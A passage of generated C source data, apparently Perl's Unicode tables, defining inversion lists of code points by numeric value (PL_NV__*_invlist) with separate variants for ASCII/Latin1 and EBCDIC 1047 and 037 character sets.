0xA9D1, - 0xA9D2, - 0xA9F1, - 0xA9F2, - 0xAA51, - 0xAA52, - 0xABF1, - 0xABF2, - 0xFF11, - 0xFF12, - 0x10107, - 0x10108, - 0x10142, - 0x10143, - 0x10158, - 0x1015B, - 0x102E1, - 0x102E2, - 0x10320, - 0x10321, - 0x103D1, - 0x103D2, - 0x104A1, - 0x104A2, - 0x10858, - 0x10859, - 0x10879, - 0x1087A, - 0x108A7, - 0x108A8, - 0x108FB, - 0x108FC, - 0x10916, - 0x10917, - 0x109C0, - 0x109C1, - 0x10A40, - 0x10A41, - 0x10A7D, - 0x10A7E, - 0x10A9D, - 0x10A9E, - 0x10AEB, - 0x10AEC, - 0x10B58, - 0x10B59, - 0x10B78, - 0x10B79, - 0x10BA9, - 0x10BAA, - 0x10CFA, - 0x10CFB, - 0x10E60, - 0x10E61, - 0x11052, - 0x11053, - 0x11067, - 0x11068, - 0x110F1, - 0x110F2, - 0x11137, - 0x11138, - 0x111D1, - 0x111D2, - 0x111E1, - 0x111E2, - 0x112F1, - 0x112F2, - 0x11451, - 0x11452, - 0x114D1, - 0x114D2, - 0x11651, - 0x11652, - 0x116C1, - 0x116C2, - 0x11731, - 0x11732, - 0x118E1, - 0x118E2, - 0x11C51, - 0x11C52, - 0x11C5A, - 0x11C5B, - 0x11D51, - 0x11D52, - 0x12415, - 0x12416, - 0x1241E, - 0x1241F, - 0x1242C, - 0x1242D, - 0x12434, - 0x12435, - 0x1244F, - 0x12450, - 0x12458, - 0x12459, - 0x16A61, - 0x16A62, - 0x16B51, - 0x16B52, - 0x1D360, - 0x1D361, - 0x1D7CF, - 0x1D7D0, - 0x1D7D9, - 0x1D7DA, - 0x1D7E3, - 0x1D7E4, - 0x1D7ED, - 0x1D7EE, - 0x1D7F7, - 0x1D7F8, - 0x1E8C7, - 0x1E8C8, - 0x1E951, - 0x1E952, - 0x1F102, - 0x1F103, - 0x2092A, - 0x2092B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_invlist[] = { /* for EBCDIC 037 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xF1, - 0xF2, - 0x661, - 0x662, - 0x6F1, - 0x6F2, - 0x7C1, - 0x7C2, - 0x967, - 0x968, - 0x9E7, - 0x9E8, - 0xA67, - 0xA68, - 0xAE7, - 0xAE8, - 0xB67, - 0xB68, - 0xBE7, - 0xBE8, - 0xC67, - 0xC68, - 0xC79, - 0xC7A, - 0xC7C, - 0xC7D, - 0xCE7, - 0xCE8, - 0xD67, - 0xD68, - 0xDE7, - 0xDE8, - 0xE51, - 0xE52, - 0xED1, - 0xED2, - 0xF21, - 0xF22, - 0x1041, - 0x1042, - 0x1091, - 0x1092, - 0x1369, - 0x136A, - 0x17E1, - 0x17E2, - 0x17F1, - 0x17F2, - 0x1811, - 0x1812, - 0x1947, - 0x1948, - 0x19D1, - 0x19D2, - 0x19DA, - 0x19DB, - 0x1A81, - 0x1A82, - 0x1A91, - 0x1A92, - 0x1B51, - 0x1B52, - 0x1BB1, - 0x1BB2, - 0x1C41, - 0x1C42, - 0x1C51, - 0x1C52, - 0x2081, - 0x2082, - 0x215F, - 0x2161, - 0x2170, - 0x2171, - 0x2460, - 0x2461, - 0x2474, - 0x2475, - 0x2488, - 0x2489, - 0x24F5, - 0x24F6, - 0x2776, - 0x2777, - 0x2780, - 0x2781, - 0x278A, - 0x278B, - 0x3021, - 0x3022, - 0x3192, - 0x3193, - 0x3220, - 0x3221, - 0x3280, - 0x3281, - 0x4E00, - 0x4E01, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5F0C, - 0x5F0D, - 0xA621, - 0xA622, - 0xA6E6, - 0xA6E7, - 0xA8D1, - 0xA8D2, - 0xA901, - 0xA902, - 0xA9D1, - 0xA9D2, - 0xA9F1, - 0xA9F2, - 0xAA51, - 0xAA52, - 0xABF1, - 0xABF2, - 0xFF11, - 0xFF12, - 0x10107, - 0x10108, - 0x10142, - 0x10143, - 0x10158, - 0x1015B, - 0x102E1, - 0x102E2, - 0x10320, - 0x10321, - 0x103D1, - 0x103D2, - 0x104A1, - 0x104A2, - 0x10858, - 0x10859, - 0x10879, - 0x1087A, - 0x108A7, - 0x108A8, - 0x108FB, - 0x108FC, - 0x10916, - 0x10917, - 0x109C0, - 0x109C1, - 0x10A40, - 0x10A41, - 0x10A7D, - 0x10A7E, - 0x10A9D, - 0x10A9E, - 0x10AEB, - 0x10AEC, - 0x10B58, - 0x10B59, - 0x10B78, - 0x10B79, - 0x10BA9, - 0x10BAA, - 0x10CFA, - 0x10CFB, - 0x10E60, - 0x10E61, - 0x11052, - 0x11053, - 0x11067, - 0x11068, - 0x110F1, - 0x110F2, - 0x11137, - 0x11138, - 0x111D1, - 0x111D2, - 0x111E1, - 0x111E2, - 0x112F1, - 0x112F2, - 0x11451, - 0x11452, - 0x114D1, - 0x114D2, - 0x11651, - 0x11652, - 0x116C1, - 0x116C2, - 0x11731, - 0x11732, - 0x118E1, - 0x118E2, - 0x11C51, - 0x11C52, - 0x11C5A, - 0x11C5B, - 0x11D51, - 0x11D52, - 0x12415, - 0x12416, - 0x1241E, - 0x1241F, - 0x1242C, - 0x1242D, - 0x12434, - 0x12435, - 0x1244F, - 0x12450, - 0x12458, - 0x12459, - 0x16A61, - 0x16A62, - 0x16B51, - 0x16B52, - 0x1D360, - 0x1D361, - 0x1D7CF, - 0x1D7D0, - 0x1D7D9, - 0x1D7DA, - 0x1D7E3, - 0x1D7E4, - 0x1D7ED, - 0x1D7EE, - 0x1D7F7, - 0x1D7F8, - 0x1E8C7, - 0x1E8C8, - 0x1E951, - 0x1E952, - 0x1F102, - 0x1F103, - 0x2092A, - 0x2092B -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__1_SLASH_10_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD5C, - 0xD5D, - 0x2152, - 0x2153 -}; - -static const UV PL_NV__1_SLASH_12_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F6, - 0x109F7 -}; - -static const UV PL_NV__1_SLASH_16_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9F4, - 0x9F5, - 0xB75, - 0xB76, - 0xD76, - 0xD77, - 0xA833, - 0xA834 -}; - -static const UV PL_NV__1_SLASH_160_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD58, - 0xD59 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__1_SLASH_2_invlist[] = { /* for ASCII/Latin1 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBD, - 0xBE, - 0xB73, - 0xB74, - 0xD74, - 0xD75, - 0xF2A, - 0xF2B, - 0x2CFD, - 0x2CFE, - 0xA831, - 0xA832, - 0x10141, - 0x10142, - 0x10175, - 0x10177, - 0x109BD, - 0x109BE, - 0x109FB, - 0x109FC, - 0x10E7B, - 0x10E7C, - 0x12464, - 0x12465 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_SLASH_2_invlist[] = { /* for EBCDIC 1047 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB8, - 0xB9, - 0xB73, - 0xB74, - 0xD74, - 0xD75, - 0xF2A, - 0xF2B, - 0x2CFD, - 0x2CFE, - 0xA831, - 0xA832, - 0x10141, - 0x10142, - 0x10175, - 0x10177, - 0x109BD, - 0x109BE, - 0x109FB, - 0x109FC, - 0x10E7B, - 0x10E7C, - 0x12464, - 0x12465 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_SLASH_2_invlist[] = { /* for EBCDIC 037 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB8, - 0xB9, - 0xB73, - 0xB74, - 0xD74, - 0xD75, - 0xF2A, - 0xF2B, - 0x2CFD, - 0x2CFE, - 0xA831, - 0xA832, - 0x10141, - 0x10142, - 0x10175, - 0x10177, - 0x109BD, - 0x109BE, - 0x109FB, - 0x109FC, - 0x10E7B, - 0x10E7C, - 0x12464, - 0x12465 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__1_SLASH_20_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD5B, - 0xD5C -}; - -static const UV PL_NV__1_SLASH_3_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2153, - 0x2154, - 0x109F9, - 0x109FA, - 0x10E7D, - 0x10E7E, - 0x1245A, - 0x1245B, - 0x1245D, - 0x1245E, - 0x12465, - 0x12466 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__1_SLASH_4_invlist[] = { /* for ASCII/Latin1 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBC, - 0xBD, - 0x9F7, - 0x9F8, - 0xB72, - 0xB73, - 0xD73, - 0xD74, - 0xA830, - 0xA831, - 0x10140, - 0x10141, - 0x1018B, - 0x1018C, - 0x109F8, - 0x109F9, - 0x10E7C, - 0x10E7D, - 0x12460, - 0x12461, - 0x12462, - 0x12464 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_SLASH_4_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xB8, - 0x9F7, - 0x9F8, - 0xB72, - 0xB73, - 0xD73, - 0xD74, - 0xA830, - 0xA831, - 0x10140, - 0x10141, - 0x1018B, - 0x1018C, - 0x109F8, - 0x109F9, - 0x10E7C, - 0x10E7D, - 0x12460, - 0x12461, - 0x12462, - 0x12464 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_SLASH_4_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xB8, - 0x9F7, - 0x9F8, - 0xB72, - 0xB73, - 0xD73, - 0xD74, - 0xA830, - 0xA831, - 0x10140, - 0x10141, - 0x1018B, - 0x1018C, - 0x109F8, - 0x109F9, - 0x10E7C, - 0x10E7D, - 0x12460, - 0x12461, - 0x12462, - 0x12464 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__1_SLASH_40_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD59, - 0xD5A -}; - -static const UV PL_NV__1_SLASH_5_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD5E, - 0xD5F, - 0x2155, - 0x2156 -}; - -static const UV PL_NV__1_SLASH_6_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2159, - 0x215A, - 0x109F7, - 0x109F8, - 0x12461, - 0x12462 -}; - -static const UV PL_NV__1_SLASH_7_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2150, - 0x2151 -}; - -static const UV PL_NV__1_SLASH_8_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9F5, - 0x9F6, - 0xB76, - 0xB77, - 0xD77, - 0xD78, - 0x215B, - 0x215C, - 0xA834, - 0xA835, - 0x1245F, - 0x12460 -}; - -static const UV PL_NV__1_SLASH_9_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2151, - 0x2152 -}; - -static const UV PL_NV__10_invlist[] = { /* for all charsets */ - 101, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBF0, - 0xBF1, - 0xD70, - 0xD71, - 0x1372, - 0x1373, - 0x2169, - 0x216A, - 0x2179, - 0x217A, - 0x2469, - 0x246A, - 0x247D, - 0x247E, - 0x2491, - 0x2492, - 0x24FE, - 0x24FF, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x2794, - 0x3038, - 0x3039, - 0x3229, - 0x322A, - 0x3248, - 0x3249, - 0x3289, - 0x328A, - 0x4EC0, - 0x4EC1, - 0x5341, - 0x5342, - 0x62FE, - 0x62FF, - 0xF973, - 0xF974, - 0xF9FD, - 0xF9FE, - 0x10110, - 0x10111, - 0x10149, - 0x1014A, - 0x10150, - 0x10151, - 0x10157, - 0x10158, - 0x10160, - 0x10165, - 0x102EA, - 0x102EB, - 0x10322, - 0x10323, - 0x103D3, - 0x103D4, - 0x1085B, - 0x1085C, - 0x1087E, - 0x1087F, - 0x108AD, - 0x108AE, - 0x108FD, - 0x108FE, - 0x10917, - 0x10918, - 0x109C9, - 0x109CA, - 0x10A44, - 0x10A45, - 0x10A9E, - 0x10A9F, - 0x10AED, - 0x10AEE, - 0x10B5C, - 0x10B5D, - 0x10B7C, - 0x10B7D, - 0x10BAD, - 0x10BAE, - 0x10CFC, - 0x10CFD, - 0x10E69, - 0x10E6A, - 0x1105B, - 0x1105C, - 0x111EA, - 0x111EB, - 0x1173A, - 0x1173B, - 0x118EA, - 0x118EB, - 0x11C63, - 0x11C64, - 0x16B5B, - 0x16B5C, - 0x1D369, - 0x1D36A -}; - -static const UV PL_NV__100_invlist[] = { /* for all charsets */ - 61, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBF1, - 0xBF2, - 0xD71, - 0xD72, - 0x137B, - 0x137C, - 0x216D, - 0x216E, - 0x217D, - 0x217E, - 0x4F70, - 0x4F71, - 0x767E, - 0x767F, - 0x964C, - 0x964D, - 0x10119, - 0x1011A, - 0x1014B, - 0x1014C, - 0x10152, - 0x10153, - 0x1016A, - 0x1016B, - 0x102F3, - 0x102F4, - 0x103D5, - 0x103D6, - 0x1085D, - 0x1085E, - 0x108AF, - 0x108B0, - 0x108FF, - 0x10900, - 0x10919, - 0x1091A, - 0x109D2, - 0x109D3, - 0x10A46, - 0x10A47, - 0x10AEF, - 0x10AF0, - 0x10B5E, - 0x10B5F, - 0x10B7E, - 0x10B7F, - 0x10BAF, - 0x10BB0, - 0x10CFE, - 0x10CFF, - 0x10E72, - 0x10E73, - 0x11064, - 0x11065, - 0x111F3, - 0x111F4, - 0x11C6C, - 0x11C6D, - 0x16B5C, - 0x16B5D -}; - -static const UV PL_NV__1000_invlist[] = { /* for all charsets */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBF2, - 0xBF3, - 0xD72, - 0xD73, - 0x216F, - 0x2170, - 0x217F, - 0x2181, - 0x4EDF, - 0x4EE0, - 0x5343, - 0x5344, - 0x9621, - 0x9622, - 0x10122, - 0x10123, - 0x1014D, - 0x1014E, - 0x10154, - 0x10155, - 0x10171, - 0x10172, - 0x1085E, - 0x1085F, - 0x109DB, - 0x109DC, - 0x10A47, - 0x10A48, - 0x10B5F, - 0x10B60, - 0x10B7F, - 0x10B80, - 0x10CFF, - 0x10D00, - 0x11065, - 0x11066, - 0x111F4, - 0x111F5 -}; - -static const UV PL_NV__10000_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x137C, - 0x137D, - 0x2182, - 0x2183, - 0x4E07, - 0x4E08, - 0x842C, - 0x842D, - 0x1012B, - 0x1012C, - 0x10155, - 0x10156, - 0x1085F, - 0x10860, - 0x109E4, - 0x109E5, - 0x16B5D, - 0x16B5E -}; - -static const UV PL_NV__100000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2188, - 0x2189, - 0x109ED, - 0x109EE -}; - -static const UV PL_NV__1000000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16B5E, - 0x16B5F -}; - -static const UV PL_NV__100000000_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4EBF, - 0x4EC0, - 0x5104, - 0x5105, - 0x16B5F, - 0x16B60 -}; - -static const UV PL_NV__10000000000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16B60, - 0x16B61 -}; - -static const UV PL_NV__1000000000000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5146, - 0x5147, - 0x16B61, - 0x16B62 -}; - -static const UV PL_NV__11_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x216A, - 0x216B, - 0x217A, - 0x217B, - 0x246A, - 0x246B, - 0x247E, - 0x247F, - 0x2492, - 0x2493, - 0x24EB, - 0x24EC -}; - -static const UV PL_NV__11_SLASH_12_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109BC, - 0x109BD -}; - -static const UV PL_NV__11_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF2F, - 0xF30 -}; - -static const UV PL_NV__12_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x216B, - 0x216C, - 0x217B, - 0x217C, - 0x246B, - 0x246C, - 0x247F, - 0x2480, - 0x2493, - 0x2494, - 0x24EC, - 0x24ED -}; - -static const UV PL_NV__13_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x246C, - 0x246D, - 0x2480, - 0x2481, - 0x2494, - 0x2495, - 0x24ED, - 0x24EE -}; - -static const UV PL_NV__13_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF30, - 0xF31 -}; - -static const UV PL_NV__14_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x246D, - 0x246E, - 0x2481, - 0x2482, - 0x2495, - 0x2496, - 0x24EE, - 0x24EF -}; - -static const UV PL_NV__15_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x246E, - 0x246F, - 0x2482, - 0x2483, - 0x2496, - 0x2497, - 0x24EF, - 0x24F0 -}; - -static const UV PL_NV__15_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF31, - 0xF32 -}; - -static const UV PL_NV__16_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9F9, - 0x9FA, - 0x246F, - 0x2470, - 0x2483, - 0x2484, - 0x2497, - 0x2498, - 0x24F0, - 0x24F1 -}; - -static const UV PL_NV__17_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16EE, - 0x16EF, - 0x2470, - 0x2471, - 0x2484, - 0x2485, - 0x2498, - 0x2499, - 0x24F1, - 0x24F2 -}; - -static const UV PL_NV__17_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF32, - 0xF33 -}; - -static const UV PL_NV__18_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16EF, - 0x16F0, - 0x2471, - 0x2472, - 0x2485, - 0x2486, - 0x2499, - 0x249A, - 0x24F2, - 0x24F3 -}; - -static const UV PL_NV__19_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16F0, - 0x16F1, - 0x2472, - 0x2473, - 0x2486, - 0x2487, - 0x249A, - 0x249B, - 0x24F3, - 0x24F4 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__2_invlist[] = { /* for ASCII/Latin1 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x32, - 0x33, - 0xB2, - 0xB3, - 0x662, - 0x663, - 0x6F2, - 0x6F3, - 0x7C2, - 0x7C3, - 0x968, - 0x969, - 0x9E8, - 0x9E9, - 0xA68, - 0xA69, - 0xAE8, - 0xAE9, - 0xB68, - 0xB69, - 0xBE8, - 0xBE9, - 0xC68, - 0xC69, - 0xC7A, - 0xC7B, - 0xC7D, - 0xC7E, - 0xCE8, - 0xCE9, - 0xD68, - 0xD69, - 0xDE8, - 0xDE9, - 0xE52, - 0xE53, - 0xED2, - 0xED3, - 0xF22, - 0xF23, - 0x1042, - 0x1043, - 0x1092, - 0x1093, - 0x136A, - 0x136B, - 0x17E2, - 0x17E3, - 0x17F2, - 0x17F3, - 0x1812, - 0x1813, - 0x1948, - 0x1949, - 0x19D2, - 0x19D3, - 0x1A82, - 0x1A83, - 0x1A92, - 0x1A93, - 0x1B52, - 0x1B53, - 0x1BB2, - 0x1BB3, - 0x1C42, - 0x1C43, - 0x1C52, - 0x1C53, - 0x2082, - 0x2083, - 0x2161, - 0x2162, - 0x2171, - 0x2172, - 0x2461, - 0x2462, - 0x2475, - 0x2476, - 0x2489, - 0x248A, - 0x24F6, - 0x24F7, - 0x2777, - 0x2778, - 0x2781, - 0x2782, - 0x278B, - 0x278C, - 0x3022, - 0x3023, - 0x3193, - 0x3194, - 0x3221, - 0x3222, - 0x3281, - 0x3282, - 0x3483, - 0x3484, - 0x4E8C, - 0x4E8D, - 0x5169, - 0x516A, - 0x5F0D, - 0x5F0E, - 0x5F10, - 0x5F11, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0xA622, - 0xA623, - 0xA6E7, - 0xA6E8, - 0xA8D2, - 0xA8D3, - 0xA902, - 0xA903, - 0xA9D2, - 0xA9D3, - 0xA9F2, - 0xA9F3, - 0xAA52, - 0xAA53, - 0xABF2, - 0xABF3, - 0xF978, - 0xF979, - 0xFF12, - 0xFF13, - 0x10108, - 0x10109, - 0x1015B, - 0x1015F, - 0x102E2, - 0x102E3, - 0x103D2, - 0x103D3, - 0x104A2, - 0x104A3, - 0x10859, - 0x1085A, - 0x1087A, - 0x1087B, - 0x108A8, - 0x108A9, - 0x1091A, - 0x1091B, - 0x109C1, - 0x109C2, - 0x10A41, - 0x10A42, - 0x10B59, - 0x10B5A, - 0x10B79, - 0x10B7A, - 0x10BAA, - 0x10BAB, - 0x10E61, - 0x10E62, - 0x11053, - 0x11054, - 0x11068, - 0x11069, - 0x110F2, - 0x110F3, - 0x11138, - 0x11139, - 0x111D2, - 0x111D3, - 0x111E2, - 0x111E3, - 0x112F2, - 0x112F3, - 0x11452, - 0x11453, - 0x114D2, - 0x114D3, - 0x11652, - 0x11653, - 0x116C2, - 0x116C3, - 0x11732, - 0x11733, - 0x118E2, - 0x118E3, - 0x11C52, - 0x11C53, - 0x11C5B, - 0x11C5C, - 0x11D52, - 0x11D53, - 0x12400, - 0x12401, - 0x12416, - 0x12417, - 0x1241F, - 0x12420, - 0x12423, - 0x12424, - 0x1242D, - 0x1242E, - 0x12435, - 0x12436, - 0x1244A, - 0x1244B, - 0x12450, - 0x12451, - 0x12456, - 0x12457, - 0x12459, - 0x1245A, - 0x16A62, - 0x16A63, - 0x16B52, - 0x16B53, - 0x1D361, - 0x1D362, - 0x1D7D0, - 0x1D7D1, - 0x1D7DA, - 0x1D7DB, - 0x1D7E4, - 0x1D7E5, - 0x1D7EE, - 0x1D7EF, - 0x1D7F8, - 0x1D7F9, - 0x1E8C8, - 0x1E8C9, - 0x1E952, - 0x1E953, - 0x1F103, - 0x1F104, - 0x22390, - 0x22391 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__2_invlist[] = { /* for EBCDIC 1047 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEA, - 0xEB, - 0xF2, - 0xF3, - 0x662, - 0x663, - 0x6F2, - 0x6F3, - 0x7C2, - 0x7C3, - 0x968, - 0x969, - 0x9E8, - 0x9E9, - 0xA68, - 0xA69, - 0xAE8, - 0xAE9, - 0xB68, - 0xB69, - 0xBE8, - 0xBE9, - 0xC68, - 0xC69, - 0xC7A, - 0xC7B, - 0xC7D, - 0xC7E, - 0xCE8, - 0xCE9, - 0xD68, - 0xD69, - 0xDE8, - 0xDE9, - 0xE52, - 0xE53, - 0xED2, - 0xED3, - 0xF22, - 0xF23, - 0x1042, - 0x1043, - 0x1092, - 0x1093, - 0x136A, - 0x136B, - 0x17E2, - 